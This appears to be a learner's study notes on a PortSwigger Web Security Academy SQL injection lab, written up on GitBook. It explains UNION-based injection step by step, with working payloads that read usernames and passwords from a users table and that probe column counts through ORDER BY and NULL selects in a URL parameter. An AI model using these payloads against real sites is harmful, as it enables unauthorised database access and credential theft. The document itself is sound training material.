> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/sql-injection/lab-2.md).

# Lab 2

<figure><img src="/files/8ExEuabBwIUBn2JhrDF1" alt=""><figcaption></figcaption></figure>

#### Example attack

Original query:

```sql
SELECT name, price FROM products WHERE category = 'Gifts'
```

You inject:

```sql
' UNION SELECT username, password FROM users--
```

Full query becomes:

```sql
SELECT name, price FROM products WHERE category = ''
UNION SELECT username, password FROM users--'
```

Page now shows product names AND usernames/passwords mixed together.

#### Two rules for UNION to work

**1 — Same number of columns:**

```sql
SELECT a, b FROM table1       → 2 columns
UNION SELECT c, d FROM table2 → must also be 2 columns
```

**2 — Compatible data types:** Each column needs matching types (string with string, number with number).

If either rule breaks → SQL error → doesn't work. So first step is always figuring out how many columns the original query returns.

#### What UNION actually does

It's not merging side by side. It's stacking **rows on top of each other**:

```
products table:          users table:
name      | price        username | password
Widget    | 9.99         admin    | secret123
Gadget    | 24.99        peter    | pass456
```

After UNION:

```
col1      | col2
Widget    | 9.99        ← from products
Gadget    | 24.99       ← from products
admin     | secret123   ← from users
peter     | pass456     ← from users
```

Widget and admin are in separate rows — never combined into one value.

***

#### Why types must match

The database needs to decide what data type `col2` is for the whole result. It can't be both NUMBER (9.99) and STRING (secret123) at the same time — it has to pick one type for that column.

```
col2 = NUMBER → can't store "secret123" there → error
col2 = STRING → can't store 9.99 there → erro
```

The column names come from the **first SELECT** — always.

***

#### What the result looks like

```sql
SELECT name, price FROM products
UNION
SELECT username, password FROM users
```

Result column names:

```
name      | price
----------|---------
Widget    | 9.99
Gadget    | 24.99
```

### Determining the number of columns required

#### What it looks like in the URL

```
category=Gifts' ORDER BY 1--    → normal results
category=Gifts' ORDER BY 2--    → normal results  
category=Gifts' ORDER BY 3--    → error or no results
```

```
' UNION SELECT NULL--          → error (wrong number of columns)
' UNION SELECT NULL,NULL--     → error (wrong number of columns)
' UNION SELECT NULL,NULL,NULL--→ works ← 3 columns!
```

{% hint style="info" %}
%2c is a "," (comma)&#x20;
{% endhint %}

<figure><img src="/files/8Df6WpZeEVSJXxRyAzl5" alt=""><figcaption></figcaption></figure>

We know it has 3

<figure><img src="/files/kDau0R9XerRBSfVecWRt" alt=""><figcaption></figcaption></figure>

```
'          → closes the original string
+UNION+    → adds UNION keyword (+ = spaces)
SELECT+    → SELECT keyword
NULL,NULL  → your test columns
--         → comments out rest of original query
```

<figure><img src="/files/29GRu9RyzNeIaszgwyV8" alt=""><figcaption></figcaption></figure>
